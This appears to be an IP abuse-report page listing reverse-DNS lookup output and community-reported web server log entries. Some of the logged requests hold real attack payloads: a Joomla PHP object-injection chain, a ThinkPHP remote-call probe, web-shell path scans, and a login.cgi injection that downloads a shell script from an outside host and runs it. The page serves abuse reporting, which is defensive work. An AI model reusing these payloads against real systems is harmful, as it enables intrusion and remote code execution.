City: unknown
Region: unknown
Country: China
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 123.96.117.2
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 42017
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;123.96.117.2. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025020901 1800 900 604800 86400
;; Query time: 33 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Feb 10 07:13:48 CST 2025
;; MSG SIZE rcvd: 105Host 2.117.96.123.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 2.117.96.123.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 104.194.24.222 | bots | 104.194.24.222 - - [03/May/2019:05:55:25 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10522 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" 104.194.24.222 - - [03/May/2019:05:55:33 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 9649 "-" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:55:42 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10372 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:55:49 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10458 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:56:20 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10047 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)" |
2019-05-03 05:57:54 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:22 |
| 128.201.175.22 | attack | 128.201.175.22 - - [03/May/2019:09:54:23 +0800] "GET /index.php/using-joomla/extensions/components/users-component/registration-form HTTP/1.1" 301 194 "-" "Mozilla/3.0 (compatible; Indy Library)" |
2019-05-03 09:54:58 |
| 114.35.105.141 | botsattack | 爬虫攻击phpadmin、pma、sql等 |
2019-05-05 11:08:25 |
| 218.161.75.200 | attack | 218.161.75.200 - - [05/May/2019:12:03:42 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
218.161.75.200 - - [05/May/2019:12:03:42 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-05 12:04:53 |
| 118.163.196.1 | attack | phpmyadmin db攻击 |
2019-05-09 20:13:46 |
| 54.71.187.124 | bots | 亚马逊机器，未知参数 54.71.187.124 - - [09/May/2019:13:19:05 +0800] "GET /check-ip/162.209.84.154&ss=fb&rt=162.209.84.154+-+IPInfo&cd=KhM3OTYwOTgyODEyNTczODUyNjQyMho2ZjJlMmIwNTY4YzIxNDk2OmNvbTplbjpVUw&ssp=AMJHsmXNULk8-X0y9ftVBg3MZ55TktPPUg HTTP/1.1" 200 3051 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 54.71.187.124 - - [09/May/2019:13:19:05 +0800] "GET /check-ip/162.209.84.154&ss=gp&rt=162.209.84.154+-+IPInfo&cd=KhM3OTYwOTgyODEyNTczODUyNjQyMho2ZjJlMmIwNTY4YzIxNDk2OmNvbTplbjpVUw&ssp=AMJHsmXNULk8-X0y9ftVBg3MZ55TktPPUg HTTP/1.1" 200 3050 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 54.70.53.60 - - [09/May/2019:13:19:05 +0800] "GET /check-ip/162.209.84.154&ss=fb&rt=162.209.84.154+-+IPInfo&cd=KhMyMjYzNTA5MTAxNzU0NDU5NTk3Mho2ZjJlMmIwNTY4YzIxNDk2OmNvbTplbjpVUw&ssp=AMJHsmXNULk8-X0y9ftVBg3MZ55TktPPUg HTTP/1.1" 200 3052 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 54.70.53.60 - - [09/May/2019:13:19:05 +0800] "GET /check-ip/162.209.84.154&ss=gp&rt=162.209.84.154+-+IPInfo&cd=KhMyMjYzNTA5MTAxNzU0NDU5NTk3Mho2ZjJlMmIwNTY4YzIxNDk2OmNvbTplbjpVUw&ssp=AMJHsmXNULk8-X0y9ftVBg3MZ55TktPPUg HTTP/1.1" 200 3047 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" |
2019-05-09 14:00:03 |
| 159.69.190.90 | attackproxynormal | 2048 |
2019-05-11 10:21:37 |
| 202.88.241.107 | attack | Bruteforce on SSH Honeypot |
2019-05-21 10:03:23 |
| 212.64.58.150 | botsattack | 212.64.58.150 - - [06/May/2019:16:15:10 +0800] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%\\x80\\x96\\x98 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 212.64.58.150 - - [06/May/2019:16:15:13 +0800] "GET /lang.php?f=1 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" |
2019-05-06 16:18:16 |
| 212.64.58.150 | botsattack | 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /luoke.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /nidage.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /sanan.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:01 +0800] "POST /sbkcb.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /cnm.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /tests.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /luoran.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /luoran6.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /asen.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /MCLi.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /MCLi.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 212.64.58.150 - - [06/May/2019:16:23:05 +0800] "POST /coon.php HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" |
2019-05-06 16:23:50 |
| 68.235.35.188 | bots | 68.235.35.188 - - [07/May/2019:09:41:18 +0800] "GET /check-ip/157.60.46.170 HTTP/1.1" 200 91589 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" 68.235.35.188 - - [07/May/2019:09:41:28 +0800] "GET /check-ip/152.136.34.52 HTTP/1.1" 200 92020 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" 68.235.35.188 - - [07/May/2019:09:45:52 +0800] "GET /check-ip/21.127.106.20 HTTP/1.1" 200 91934 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" 68.235.35.188 - - [07/May/2019:09:46:34 +0800] "GET /check-ip/164.77.124.18 HTTP/1.1" 200 95728 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" 68.235.35.188 - - [07/May/2019:09:47:23 +0800] "GET /check-ip/68.183.218.52 HTTP/1.1" 200 91129 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" |
2019-05-07 09:49:20 |
| 54.93.245.75 | spam | 54.93.245.75 - - [15/May/2019:14:30:54 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slack-ImgProxy (+https://api.slack.com/robots)" |
2019-05-15 14:31:29 |
| 218.30.103.183 | bots | 搜狗爬虫 |
2019-05-13 11:41:17 |
| 106.12.95.181 | attack | 106.12.95.181 - - [06/May/2019:21:10:47 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://194.147.32.131/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 182 "-" "Hakai/2.0" |
2019-05-06 21:11:47 |